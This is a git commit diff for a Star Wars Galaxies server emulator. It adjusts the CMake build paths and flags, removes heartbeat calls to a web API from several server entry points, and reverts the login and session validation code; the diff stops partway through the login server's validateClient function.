Update remove webAPIheartbeat, rever webAPI reconfigure CMakeLists

This commit is contained in:
Erusman
2018-04-21 15:49:49 -07:00
parent 30e7b4d5ee
commit 6747e918a0
22 changed files with 425 additions and 831 deletions

View File

@@ -1,141 +1,144 @@
cmake_policy(SET CMP0003 OLD) # or cmake_policy(VERSION 2.4)
cmake_minimum_required(VERSION 2.8)
project(stellabellum C CXX)
if (WIN32)
set(CMAKE_MODULE_PATH "${CMAKE_CURRENT_SOURCE_DIR}/cmake/win32")
elseif (UNIX)
set(CMAKE_MODULE_PATH "${CMAKE_CURRENT_SOURCE_DIR}/cmake/linux")
endif ()
set(SWG_ROOT_SOURCE_DIR ${CMAKE_CURRENT_SOURCE_DIR})
set(SWG_ENGINE_SOURCE_DIR ${CMAKE_CURRENT_SOURCE_DIR}/engine)
set(SWG_EXTERNALS_SOURCE_DIR ${CMAKE_CURRENT_SOURCE_DIR}/external)
set(SWG_EXTERNALS_FIND ${CMAKE_CURRENT_SOURCE_DIR}/external/3rd/library)
set(SWG_GAME_SOURCE_DIR ${CMAKE_CURRENT_SOURCE_DIR}/game)
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/bin)
include_directories(/usr/include/i386-linux-gnu)
find_package(BISON REQUIRED)
find_package(FLEX REQUIRED)
find_package(JNI REQUIRED)
find_package(LibXml2 REQUIRED)
find_package(Oracle REQUIRED)
find_package(PCRE REQUIRED)
find_package(Perl REQUIRED)
find_package(Threads)
find_package(ZLIB REQUIRED)
find_package(CURL REQUIRED)
# c++14 yeah!
set(CMAKE_CXX_STANDARD 14)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
set(CMAKE_CXX_EXTENSIONS OFF)
# shame on you cmake for auto-setting optimization flags!
set(CMAKE_CXX_FLAGS "")
set(CMAKE_CXX_FLAGS_DEBUG "")
set(CMAKE_CXX_FLAGS_RELEASE "")
set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "")
set(CMAKE_CXX_FLAGS_MINSIZEREL "")
# I'll be honest, win32 is probably very very broken and won't build - it will need worked on so that MSVC uses
# the vs2013+ STL instead of stlport, and probably will thus need removal/modification/addition of TONS of the ifdef blocks for WIN32
if (WIN32)
find_package(Iconv REQUIRED)
# Dont-Build-PDB RELEASE build use the following (by either commenting---uncommenting the line as needed)
set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_SHARED_LINKER_FLAGS} /NODEFAULTLIB:libc.lib /SAFESEH:NO")
# Do-Build-PDB RELEASE build use the following (by either commenting---uncommenting the line as needed)
#set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -DWIN32 -Dwin32 -DUDP_LIBRARY -DDEBUG_LEVEL=0 \
# -DPRODUCTION=1 /Oi /Ot /Oy /O2 /GF /Gy /Zi /MT -D_USE_32BIT_TIME_T=1 -D_MBCS \
# -DPLATFORM_BASE_SINGLE_THREAD -D_CRT_SECURE_NO_WARNINGS /MP /wd4244 /wd4996 /wd4018 /wd4351 \
# /Zc:wchar_t- /Ob1 /FC")
# Dont-Build-PDB RELEASE build use the following (by either commenting---uncommenting the line as needed)
set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -DWIN32 -Dwin32 -DUDP_LIBRARY -DDEBUG_LEVEL=0 -DPRODUCTION=1 \
/Oi /Ot /Oy /O2 /GF /Gy /MT -D_USE_32BIT_TIME_T=1 -D_MBCS -DPLATFORM_BASE_SINGLE_THREAD -D_CRT_SECURE_NO_WARNINGS \
/MP /wd4244 /wd4996 /wd4018 /wd4351 /Zc:wchar_t- /Ob1 /FC")
# Standard DEBUG build use the following (by either commenting---uncommenting the line as needed)
set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -DWIN32 -Dwin32 -D_DEBUG -DUDP_LIBRARY -DDEBUG_LEVEL=2 -DPRODUCTION=0 /MTd \
-D_USE_32BIT_TIME_T=1 -D_MBCS -DPLATFORM_BASE_SINGLE_THREAD -D_CRT_SECURE_NO_WARNINGS /MP /wd4244 /wd4996 /wd4018 /wd4351 \
/Zc:wchar_t- /Ob1 /FC")
elseif (UNIX)
find_package(Curses REQUIRED)
# linker flags
if (${CMAKE_BUILD_TYPE} STREQUAL "RELWITHDEBINFO" OR ${CMAKE_BUILD_TYPE} STREQUAL "MINSIZEREL")
set(CMAKE_SHARED_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic")
else ()
set(CMAKE_SHARED_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic,-x,-s")
endif ()
set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_SHARED_LINKER_FLAGS}")
# don't put anything too crazy in debug...and any common flags go into CMAKE_CXX_FLAGS
set(CMAKE_CXX_FLAGS_DEBUG "-D_DEBUG -DDEBUG_LEVEL=2 -DPRODUCTION=0 -O0 -g3")
# release specific cflags - optimizations beyond the default for both types is mostly just -O flags
set(CMAKE_CXX_FLAGS_RELEASE "-DDEBUG_LEVEL=0 -DPRODUCTION=1")
# we use fewer, if any, crazy optimizations for profile generation, and likewise release flags for the minsizerel
set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "${CMAKE_CXX_FLAGS_RELEASE}")
set(CMAKE_CXX_FLAGS_MINSIZEREL "${CMAKE_CXX_FLAGS_RELEASE}")
# Ofast doesn't work with gcc builds
if ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "Clang")
set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -Ofast \
-fno-signed-zeros -freciprocal-math -ffp-contract=fast \
-fno-threadsafe-statics -fslp-vectorize-aggressive -fslp-vectorize \
-fno-stack-protector -fstrict-enums -fstrict-vtable-pointers \
-fno-coverage-mapping -fno-spell-checking -fshort-enums -finline-functions \
-finline-hint-functions -fno-unroll-loops")
set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -ggdb")
# RELWITHDEBINFO is used for building bins that produce profdata files
# we only need the basics of our heavy optimizations here, i think - that and one of these flags
# breaks JNI when we profile
set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "-Ofast -fno-unroll-loops -finline-functions \
-finline-hint-functions -fprofile-instr-generate")
# MINSIZEREL is used for profiled, flto builds
set(CMAKE_CXX_FLAGS_MINSIZEREL "${CMAKE_CXX_FLAGS_RELEASE} -flto -fwhole-program-vtables")
elseif ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "GNU")
# O3 and Ofast include one or more flags that cause java to crash when using gcc6
set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O2 -fno-signed-zeros -freciprocal-math
-fno-unroll-loops -fno-tree-loop-optimize")
set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -Og")
elseif ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "Intel")
set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O3")
endif ()
# our "always on" flags - build by default for the system we're on but include all instruction sets
set(CMAKE_CXX_FLAGS "-m32 -pipe -march=native -mtune=native \
-msse -msse2 -msse3 -mmmx -m3dnow \
-Wformat -Wno-overloaded-virtual -Wno-missing-braces -Wno-format \
-Wno-write-strings -Wno-unknown-pragmas \
-Wno-uninitialized -Wno-reorder -Wno-tautological-constant-out-of-range-compare")
add_definitions(-DLINUX -D_REENTRANT -Dlinux -D_USING_STL -D_GNU_SOURCE -D_XOPEN_SOURCE=500 -U_FORTIFY_SOURCE)
# release and debug are internal use only
if (${CMAKE_BUILD_TYPE} STREQUAL "Debug" OR ${CMAKE_BUILD_TYPE} STREQUAL "Release")
add_definitions(-DSTELLA_INTERNAL)
endif ()
# this is so some profile specific stuff is turned on in the code
if (${CMAKE_BUILD_TYPE} STREQUAL "RELWITHDEBINFO")
add_definitions(-DENABLE_PROFILING)
endif ()
endif ()
add_subdirectory(external)
add_subdirectory(engine)
add_subdirectory(game)
cmake_policy(SET CMP0003 OLD) # or cmake_policy(VERSION 2.4)
cmake_minimum_required(VERSION 2.8)
project(stellabellum C CXX)
if (WIN32)
set(CMAKE_MODULE_PATH "${CMAKE_CURRENT_SOURCE_DIR}/cmake/win32")
elseif (UNIX)
set(CMAKE_MODULE_PATH "${CMAKE_CURRENT_SOURCE_DIR}/cmake/linux")
endif ()
set(SWG_ROOT_SOURCE_DIR ${CMAKE_CURRENT_SOURCE_DIR})
set(SWG_ENGINE_SOURCE_DIR ${CMAKE_CURRENT_SOURCE_DIR}/engine)
set(SWG_EXTERNALS_SOURCE_DIR ${CMAKE_CURRENT_SOURCE_DIR}/external)
set(SWG_EXTERNALS_FIND ${CMAKE_CURRENT_SOURCE_DIR}/external/3rd/library)
set(SWG_GAME_SOURCE_DIR ${CMAKE_CURRENT_SOURCE_DIR}/game)
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/bin)
include_directories(/usr/include/i386-linux-gnu)
find_package(BISON REQUIRED)
find_package(FLEX REQUIRED)
find_package(JNI REQUIRED)
find_package(LibXml2 REQUIRED)
find_package(Oracle REQUIRED)
find_package(PCRE REQUIRED)
find_package(Perl REQUIRED)
find_package(Threads)
find_package(ZLIB REQUIRED)
find_package(CURL REQUIRED)
# c++14 yeah!
set(CMAKE_CXX_STANDARD 14)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
set(CMAKE_CXX_EXTENSIONS OFF)
# shame on you cmake for auto-setting optimization flags!
set(CMAKE_CXX_FLAGS "")
set(CMAKE_CXX_FLAGS_DEBUG "")
set(CMAKE_CXX_FLAGS_RELEASE "")
set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "")
set(CMAKE_CXX_FLAGS_MINSIZEREL "")
# I'll be honest, win32 is probably very very broken and won't build - it will need worked on so that MSVC uses
# the vs2013+ STL instead of stlport, and probably will thus need removal/modification/addition of TONS of the ifdef blocks for WIN32
if (WIN32)
find_package(Iconv REQUIRED)
# Dont-Build-PDB RELEASE build use the following (by either commenting---uncommenting the line as needed)
set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_SHARED_LINKER_FLAGS} /NODEFAULTLIB:libc.lib /SAFESEH:NO")
# Do-Build-PDB RELEASE build use the following (by either commenting---uncommenting the line as needed)
#set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -DWIN32 -Dwin32 -DUDP_LIBRARY -DDEBUG_LEVEL=0 \
# -DPRODUCTION=1 /Oi /Ot /Oy /O2 /GF /Gy /Zi /MT -D_USE_32BIT_TIME_T=1 -D_MBCS \
# -DPLATFORM_BASE_SINGLE_THREAD -D_CRT_SECURE_NO_WARNINGS /MP /wd4244 /wd4996 /wd4018 /wd4351 \
# /Zc:wchar_t- /Ob1 /FC")
# Dont-Build-PDB RELEASE build use the following (by either commenting---uncommenting the line as needed)
set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -DWIN32 -Dwin32 -DUDP_LIBRARY -DDEBUG_LEVEL=0 -DPRODUCTION=1 \
/Oi /Ot /Oy /O2 /GF /Gy /MT -D_USE_32BIT_TIME_T=1 -D_MBCS -DPLATFORM_BASE_SINGLE_THREAD -D_CRT_SECURE_NO_WARNINGS \
/MP /wd4244 /wd4996 /wd4018 /wd4351 /Zc:wchar_t- /Ob1 /FC")
# Standard DEBUG build use the following (by either commenting---uncommenting the line as needed)
set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -DWIN32 -Dwin32 -D_DEBUG -DUDP_LIBRARY -DDEBUG_LEVEL=2 -DPRODUCTION=0 /MTd \
-D_USE_32BIT_TIME_T=1 -D_MBCS -DPLATFORM_BASE_SINGLE_THREAD -D_CRT_SECURE_NO_WARNINGS /MP /wd4244 /wd4996 /wd4018 /wd4351 \
/Zc:wchar_t- /Ob1 /FC")
elseif (UNIX)
find_package(Curses REQUIRED)
# linker flags
if (${CMAKE_BUILD_TYPE} STREQUAL "RELWITHDEBINFO" OR ${CMAKE_BUILD_TYPE} STREQUAL "MINSIZEREL")
set(CMAKE_SHARED_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic")
else ()
set(CMAKE_SHARED_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic,-x,-s")
endif ()
set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_SHARED_LINKER_FLAGS}")
# don't put anything too crazy in debug...and any common flags go into CMAKE_CXX_FLAGS
set(CMAKE_CXX_FLAGS_DEBUG "-D_DEBUG -DDEBUG_LEVEL=2 -DPRODUCTION=0 -O0 -g3")
# release specific cflags - optimizations beyond the default for both types is mostly just -O flags
set(CMAKE_CXX_FLAGS_RELEASE "-DDEBUG_LEVEL=0 -DPRODUCTION=1")
# we use fewer, if any, crazy optimizations for profile generation, and likewise release flags for the minsizerel
set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "${CMAKE_CXX_FLAGS_RELEASE}")
set(CMAKE_CXX_FLAGS_MINSIZEREL "${CMAKE_CXX_FLAGS_RELEASE}")
# New Clang compile method. Test to -O2 to see if its a cflag that is causing issue.
if ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "Clang")
set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O2")
# Default Clang compile method comment out for now for reference
# Currently use of clang compiler is breaking some bins, miff & templateCompiler.
# set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -Ofast \
# -fno-signed-zeros -freciprocal-math -ffp-contract=fast \
# -fno-threadsafe-statics -fslp-vectorize-aggressive -fslp-vectorize \
# -fno-stack-protector -fstrict-enums -fstrict-vtable-pointers \
# -fno-coverage-mapping -fno-spell-checking -fshort-enums -finline-functions \
# -finline-hint-functions -fno-unroll-loops")
set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -ggdb")
# RELWITHDEBINFO is used for building bins that produce profdata files
# we only need the basics of our heavy optimizations here, i think - that and one of these flags
# breaks JNI when we profile
set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "-Ofast -fno-unroll-loops -finline-functions \
-finline-hint-functions -fprofile-instr-generate")
# MINSIZEREL is used for profiled, flto builds
set(CMAKE_CXX_FLAGS_MINSIZEREL "${CMAKE_CXX_FLAGS_RELEASE} -flto -fwhole-program-vtables")
elseif ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "GNU")
# making changes for all bins to compile correctly with gcc5.4 or gcc6.4 we will test -O3 later
set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O2 -fno-signed-zeros -freciprocal-math")
set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -Og")
elseif ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "Intel")
set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O3")
endif ()
# our "always on" flags - build by default for the system we're on but include all instruction sets
set(CMAKE_CXX_FLAGS "-m32 -pipe -march=native -mtune=native \
-msse -msse2 -msse3 -mmmx -m3dnow \
-Wformat -Wno-overloaded-virtual -Wno-missing-braces -Wno-format \
-Wno-write-strings -Wno-unknown-pragmas \
-Wno-uninitialized -Wno-reorder -Wno-tautological-constant-out-of-range-compare")
add_definitions(-DLINUX -D_REENTRANT -Dlinux -D_USING_STL -D_GNU_SOURCE -D_XOPEN_SOURCE=500 -U_FORTIFY_SOURCE)
# release and debug are internal use only
if (${CMAKE_BUILD_TYPE} STREQUAL "Debug" OR ${CMAKE_BUILD_TYPE} STREQUAL "Release")
add_definitions(-DSTELLA_INTERNAL)
endif ()
# this is so some profile specific stuff is turned on in the code
if (${CMAKE_BUILD_TYPE} STREQUAL "RELWITHDEBINFO")
add_definitions(-DENABLE_PROFILING)
endif ()
endif ()
add_subdirectory(external)
add_subdirectory(engine)
add_subdirectory(game)

View File

@@ -92,6 +92,9 @@ set(JAVA_AWT_LIBRARY_DIRECTORIES
/opt/java/lib
/opt/java
/opt/java/jre
/opt/java18/lib
/opt/java18
/opt/java18/jre
"[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\1.4;JavaHome]/lib"
"[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\1.3;JavaHome]/lib"
"[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\${java_install_version};JavaHome]/lib"
@@ -105,6 +108,11 @@ JAVA_APPEND_LIBRARY_DIRECTORIES(JAVA_AWT_LIBRARY_DIRECTORIES
/opt/java/jre/lib
/opt/java/jre/bin
/opt/java/jre/bin/classic
/opt/java18
/opt/java18/jre
/opt/java18/jre/lib
/opt/java18/jre/bin
/opt/java18/jre/bin/classic
${_JAVA_HOME}/jre/lib/{libarch}
${_JAVA_HOME}/jre/lib
${_JAVA_HOME}/jre/bin
@@ -165,6 +173,7 @@ set(JAVA_AWT_INCLUDE_DIRECTORIES
"[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\1.3;JavaHome]/include"
"[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\${java_install_version};JavaHome]/include"
${_JAVA_HOME}/include
/opt/java18/include
/opt/java/include
/opt/java17/jre/include
/usr/include

View File

@@ -46,6 +46,12 @@ if(DEFINED ENV{ORACLE_HOME})
/usr/share/oracle/10.2.0.4/client64
/usr/lib/oracle/10.2.0.4/client
/usr/share/oracle/10.2.0.4/client
/usr/include/oracle/12.2/client64
/usr/include/oracle/12.2/client
/usr/lib/oracle/12.2/client64
/usr/share/oracle/12.2/client64
/usr/lib/oracle/12.2/client
/usr/share/oracle/12.2/client
${ORACLE_HOME}/rdbms/public
${ORACLE_HOME}/include
${ORACLE_HOME}/sdk/include # Oracle SDK

View File

@@ -12,18 +12,10 @@
#include "sharedRandom/SetupSharedRandom.h"
#include "sharedThread/SetupSharedThread.h"
#ifndef STELLA_INTERNAL
#include "webAPIHeartbeat.h"
#endif
// ======================================================================
int main(int argc, char ** argv)
{
#ifndef STELLA_INTERNAL
StellaBellum::webAPIHeartbeat();
#endif
SetupSharedThread::install();
SetupSharedDebug::install(1024);

View File

@@ -126,8 +126,6 @@
#include "webAPI.h"
using namespace StellaBellum;
namespace CentralServerNamespace
{
bool gs_connectionServersPublic=false;
@@ -2941,7 +2939,7 @@ void CentralServer::sendPopulationUpdateToLoginServer()
void CentralServer::sendMetricsToWebAPI()
{
static const std::string metricsURL(ConfigCentralServer::getMetricsDataURL());
/*static const std::string metricsURL(ConfigCentralServer::getMetricsDataURL());
if (!metricsURL.empty())
{
@@ -2979,7 +2977,7 @@ void CentralServer::sendMetricsToWebAPI()
#else
api.submit();
#endif
}
}*/
}
//-----------------------------------------------------------------------

View File

@@ -12,10 +12,6 @@
#include "sharedRandom/SetupSharedRandom.h"
#include "sharedThread/SetupSharedThread.h"
#ifndef STELLA_INTERNAL
#include "webAPIHeartbeat.h"
#endif
// ======================================================================
void dumpPid(const char * argv)
@@ -29,10 +25,6 @@ void dumpPid(const char * argv)
int main(int argc, char ** argv)
{
#ifndef STELLA_INTERNAL
StellaBellum::webAPIHeartbeat();
#endif
SetupSharedThread::install();
SetupSharedDebug::install(1024);

View File

@@ -56,8 +56,6 @@
#include "webAPI.h"
using namespace StellaBellum;
//-----------------------------------------------------------------------
namespace ClientConnectionNamespace {
@@ -269,137 +267,91 @@ void ClientConnection::handleGameServerForLoginMessage(uint32 serverId) {
* to be validated. Central will reply with a list of permissions.
* @see onIdValidated
*/
void ClientConnection::handleClientIdMessage(const ClientIdMsg &msg) {
//Only check clients that have not been validated.
if (m_hasBeenValidated) {
return;
}
void ClientConnection::handleClientIdMessage(const ClientIdMsg& msg)
{
//Only check clients that have not been validated.
if (m_hasBeenValidated)
return;
DEBUG_FATAL(m_hasSelectedCharacter, ("Trying to validate a client who already has a character selected.\n"));
bool result = false;
m_gameBitsToClear = msg.getGameBitsToClear();
DEBUG_FATAL(m_hasSelectedCharacter, ("Trying to validate a client who already has a character selected.\n"));
bool result = false;
char sessionId[apiSessionIdWidth];
if (msg.getTokenSize() > 0) {
Archive::ByteStream t(msg.getToken(), msg.getTokenSize());
Archive::ReadIterator ri(t);
KeyShare::Token token(ri);
char sessionId[apiSessionIdWidth];
m_gameBitsToClear = msg.getGameBitsToClear();
if (!ConfigConnectionServer::getValidateStationKey()) {
// get SUID from token
result = ConnectionServer::decryptToken(token, m_suid, m_isSecure, m_accountName);
} else {
result = ConnectionServer::decryptToken(token, sessionId, m_requestedSuid);
}
if(msg.getTokenSize() > 0)
{
Archive::ByteStream t(msg.getToken(), msg.getTokenSize());
Archive::ReadIterator ri(t);
KeyShare::Token token(ri);
static const std::string sessURL(ConfigConnectionServer::getSessionURL());
if (!ConfigConnectionServer::getValidateStationKey())
{
// get SUID from token
result = ConnectionServer::decryptToken(token, m_suid, m_isSecure, m_accountName);
}
else
{
result = ConnectionServer::decryptToken(token, sessionId, m_requestedSuid);
}
if (result || strlen(sessionId) != 0) {
if (ConfigConnectionServer::getValidateStationKey()) {
bool cont = false;
StationId apiSuid = 0;
static const std::string loginTrace("TRACE_LOGIN");
LOG(loginTrace, ("ClientConnection SUID = %d", m_suid));
FATAL(sessURL.empty(), ("Session URL is empty in connection server."));
}
if (result)
{
// verify version
if (ConfigConnectionServer::getValidateClientVersion() && msg.getVersion() != GameNetworkMessage::NetworkVersionId)
{
std::string strSessionId(sessionId, apiSessionIdWidth);
strSessionId += '\0';
const std::string clientIP(getRemoteAddress());
const std::string sess(sessionId);
const int bufferSize = 255 + apiSessionIdWidth;
char * buffer = new char[bufferSize];
snprintf(buffer, bufferSize-1, "network version mismatch: got (ip=[%s], sessionId=[%s], version=[%s]), required (version=[%s])", getRemoteAddress().c_str(), strSessionId.c_str(), msg.getVersion().c_str(), GameNetworkMessage::NetworkVersionId.c_str());
buffer[bufferSize-1] = '\0';
FATAL(clientIP.empty(), ("Remote IP is empty"));
ConnectionServer::dropClient(this, std::string(buffer));
disconnect();
DEBUG_WARNING(true, ("ConnectionServer::handleClientIdMessage - For ip %s suid is %lu requestedSUID is %lu and session is %s", clientIP.c_str(), m_suid, m_requestedSuid, sess.c_str()));
delete[] buffer;
webAPI api(sessURL);
return;
}
// add our data
api.addJsonData<std::string>("session_key", sess);
if (api.submit()) {
bool status = api.getNullableValue<bool>("status");
if (status) {
std::string apiUser = api.getString("user_name");
std::string apiIP = api.getString("ip");
int expired = api.getNullableValue<int>("expired");
if (!ConfigConnectionServer::getUseOldSuidGenerator()) {
apiSuid = api.getNullableValue<int>("user_id");
} else {
if (apiUser.length() > MAX_ACCOUNT_NAME_LENGTH) {
apiUser.resize(MAX_ACCOUNT_NAME_LENGTH);
}
apiSuid = std::hash < std::string > {}(apiUser.c_str());
}
if (apiIP == clientIP && expired == 0) {
m_suid = apiSuid;
cont = true;
}
}
}
if (!cont) {
LOG("ClientDisconnect", ("SUID %d (%d) passed a bad token to the connections erver. Disconnecting.", m_suid, apiSuid));
disconnect();
return;
}
}
static const std::string loginTrace("TRACE_LOGIN");
LOG(loginTrace, ("ClientConnection SUID = %d", m_suid));
//check for duplicate login
ClientConnection *oldConnection = ConnectionServer::getClientConnection(m_suid);
if (oldConnection) {
//There is already someone connected to this cluster with this suid.
LOG("Network", ("SUID %d already logged in, disconnecting client.\n", m_suid));
ConnectionServer::dropClient(oldConnection, "Already Connected");
disconnect();
return;
}
// verify version
if (ConfigConnectionServer::getValidateClientVersion() &&
msg.getVersion() != GameNetworkMessage::NetworkVersionId) {
std::string strSessionId(sessionId, apiSessionIdWidth);
strSessionId += '\0';
const int bufferSize = 255 + apiSessionIdWidth;
char *buffer = new char[bufferSize];
snprintf(buffer, bufferSize -
1, "network version mismatch: got (ip=[%s], sessionId=[%s], version=[%s]), required (version=[%s])", getRemoteAddress().c_str(), strSessionId.c_str(), msg.getVersion().c_str(), GameNetworkMessage::NetworkVersionId.c_str());
buffer[bufferSize - 1] = '\0';
ConnectionServer::dropClient(this, std::string(buffer));
disconnect();
delete[] buffer;
return;
}
// test mode only
if (!m_suid && !ConfigConnectionServer::getValidateStationKey()) {
WARNING(true, ("Generating suid from username. This is not safe or secure."));
m_suid = atoi(m_accountName.c_str());
if (m_suid == 0) {
m_suid = std::hash < std::string > {}(m_accountName.c_str());
}
}
onValidateClient(m_suid, m_accountName, m_isSecure, nullptr, ConfigConnectionServer::getDefaultGameFeatures(), ConfigConnectionServer::getDefaultSubscriptionFeatures(), 0, 0, 0, 0, ConfigConnectionServer::getFakeBuddyPoints());
}
} else {
WARNING(true, ("SUID %d passed a bad token to the connections server (cache issue or hacker?). Disconnecting.", m_suid));
// They sent us a token that was no good -- either a hack attempt, or
// possibly it was just too old.
LOG("ClientDisconnect", ("SUID %d passed a bad token to the connections server (cache issue or hacker?). Disconnecting.", m_suid));
disconnect();
}
if (ConfigConnectionServer::getValidateStationKey())
{
SessionApiClient * session = ConnectionServer::getSessionApiClient();
NOT_NULL(session);
if(session)
{
session->validateClient(this, sessionId);
}
else
{
ConnectionServer::dropClient(this, "SessionApiClient is not available!");
disconnect();
}
}
else
{
m_suid = atoi(m_accountName.c_str());
if (m_suid == 0)
{
std::hash<std::string> h;
m_suid = h(m_accountName.c_str());
}
onValidateClient(m_suid, m_accountName, m_isSecure, nullptr, ConfigConnectionServer::getDefaultGameFeatures(), ConfigConnectionServer::getDefaultSubscriptionFeatures(), 0, 0, 0, 0, ConfigConnectionServer::getFakeBuddyPoints());
}
}
else
{
// They sent us a token that was no good -- either a hack attempt, or
// possibly it was just too old.
LOG("ClientDisconnect", ("SUID %d passed a bad token to the connections erver. Disconnecting.", m_suid));
disconnect();
}
}
//-----------------------------------------------------------------------

View File

@@ -17,17 +17,10 @@
#include "sharedNetworkMessages/SetupSharedNetworkMessages.h"
#include "sharedThread/SetupSharedThread.h"
#ifndef STELLA_INTERNAL
#include "webAPIHeartbeat.h"
#endif
// ======================================================================
int main(int argc, char **argv)
{
#ifndef STELLA_INTERNAL
StellaBellum::webAPIHeartbeat();
#endif
SetupSharedThread::install();
SetupSharedDebug::install(1024);

View File

@@ -23,8 +23,6 @@
#include "webAPI.h"
using namespace StellaBellum;
//-----------------------------------------------------------------------
ClientConnection::ClientConnection(UdpConnectionMT *u, TcpClient *t)
@@ -150,127 +148,64 @@ void ClientConnection::onReceive(const Archive::ByteStream &message) {
//-----------------------------------------------------------------------
// originally was used to validate station API credentials, now uses our custom api
void ClientConnection::validateClient(const std::string &id, const std::string &key) {
bool authOK = false;
bool testMode = false;
static const std::string authURL(ConfigLoginServer::getExternalAuthUrl());
void ClientConnection::validateClient(const std::string & id, const std::string & key)
{
// to avoid having to re-type this stupid var all over the place
// ideally we wouldn't copy this here, but it would be a huge pain
const std::string trimmedId = trim(id);
const std::string trimmedKey = trim(key);
std::string uname;
std::string parentAccount;
std::string sessionID;
// and to avoid funny business with atoi and casing
// make it a separate var than the one we send the auth server
std::string lcaseId;
lcaseId.resize(trimmedId.size());
StationId user_id;
StationId parent_id;
std::unordered_map<int, std::string> childAccounts;
std::transform(trimmedId.begin(),trimmedId.end(),lcaseId.begin(),::tolower);
if (!authURL.empty()) {
// create the object
webAPI api(authURL);
StationId suid = atoi(lcaseId.c_str());
int authOK = 0;
// add our data
api.addJsonData<std::string>("user_name", id);
api.addJsonData<std::string>("user_password", key);
api.addJsonData<std::string>("ip", getRemoteAddress());
if (suid == 0)
{
std::hash<std::string> h;
suid = h(lcaseId.c_str()); //lint !e603 // Symbol 'h' not initialized (it's a functor)
}
LOG("LoginClientConnection", ("validateClient() for stationId (%lu) at IP (%s), id (%s)", m_stationId, getRemoteAddress().c_str(), lcaseId.c_str()));
if (api.submit()) {
bool status = api.getNullableValue<bool>("status");
uname = api.getString("username");
sessionID = api.getString("session_key");
std::string authURL(ConfigLoginServer::getExternalAuthUrl());
if (status && !sessionID.empty() && !uname.empty()) {
authOK = true;
if (!authURL.empty())
{
std::ostringstream postBuf;
postBuf << "user_name=" << trimmedId << "&user_password=" << trimmedKey << "&stationID=" << suid << "&ip=" << getRemoteAddress();
parentAccount = api.getString("mainAccount");
childAccounts = api.getStringMap("subAccounts");
std::string response = webAPI::simplePost(authURL, std::string(postBuf.str()), "");
if (!ConfigLoginServer::getUseOldSuidGenerator()) {
user_id = static_cast<StationId>(api.getNullableValue<int>("user_id"));
parent_id = static_cast<StationId>(api.getNullableValue<int>("parent_id"));
} else {
if (parentAccount.length() > MAX_ACCOUNT_NAME_LENGTH) {
parentAccount.resize(MAX_ACCOUNT_NAME_LENGTH);
}
if (response == "success")
{
authOK = 1;
}
else
{
ErrorMessage err("Login Failed", response);
this->send(err, true);
}
}
else
{
authOK = 1;
}
if (uname.length() > MAX_ACCOUNT_NAME_LENGTH) {
uname.resize(MAX_ACCOUNT_NAME_LENGTH);
}
parent_id = std::hash < std::string > {}(parentAccount.c_str());
user_id = std::hash < std::string > {}(uname.c_str());
}
} else {
std::string msg(api.getString("message"));
if (msg.empty()) {
msg = "Invalid username or password.";
}
ErrorMessage err("Login Failed", msg);
this->send(err, true);
}
} else {
ErrorMessage err("Login Failed", "Could not connect to remote.");
this->send(err, true);
}
} else {
// test mode
authOK = true;
testMode = true;
uname = id;
